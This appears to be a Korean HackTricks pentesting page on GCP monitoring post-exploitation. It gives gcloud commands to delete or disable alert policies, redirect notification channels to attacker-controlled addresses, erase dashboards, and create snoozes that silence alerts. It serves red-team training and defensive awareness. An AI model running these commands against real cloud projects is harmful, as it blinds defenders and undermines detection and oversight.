GCP - 모니터링 포스트 익스플로이테이션

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

모니터링

자세한 정보는 다음을 확인하세요:

GCP - Monitoring Enum

로그를 방해하는 다른 방법은 다음을 확인하세요:

GCP - Logging Post Exploitation

monitoring.alertPolicies.delete

알림 정책 삭제:

bash
gcloud alpha monitoring policies delete <policy>

monitoring.alertPolicies.update

알림 정책 방해:

bash
# Disable policy
gcloud alpha monitoring policies update <alert-policy> --no-enabled

# Remove all notification channels
gcloud alpha monitoring policies update <alert-policy> --clear-notification-channels

# Chnage notification channels
gcloud alpha monitoring policies update <alert-policy> --set-notification-channels=ATTACKER_CONTROLLED_CHANNEL

# Modify alert conditions
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
# or use --policy-from-file <policy-file>

monitoring.dashboards.update

대시보드를 수정하여 방해합니다:

bash
# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
displayName: New Dashboard with New Display Name
etag: 40d1040034db4e5a9dee931ec1b12c0d
gridLayout:
widgets:
- text:
content: Hello World
'''

monitoring.dashboards.delete

대시보드를 삭제합니다:

bash
# Delete dashboard
gcloud monitoring dashboards delete <dashboard>

monitoring.snoozes.create

알림 생성을 방지하기 위해 스누저를 생성합니다:

bash
# Stop alerts by creating a snoozer
gcloud monitoring snoozes create --display-name="Maintenance Week" \
--criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \
--start-time="2023-03-01T03:00:00.0-0500" \
--end-time="2023-03-07T23:59:59.5-0500"

monitoring.snoozes.update

공격자가 관심 있는 경우 경고가 생성되지 않도록 스누저의 타이밍을 업데이트합니다:

bash
# Modify the timing of a snooze
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME

# odify everything, including affected policies
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>

monitoring.notificationChannels.delete

구성된 채널을 삭제합니다:

bash
# Delete channel
gcloud alpha monitoring channels delete <channel>

monitoring.notificationChannels.update

채널의 레이블을 업데이트하여 방해합니다:

bash
# Delete or update labels, for example email channels have the email indicated here
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기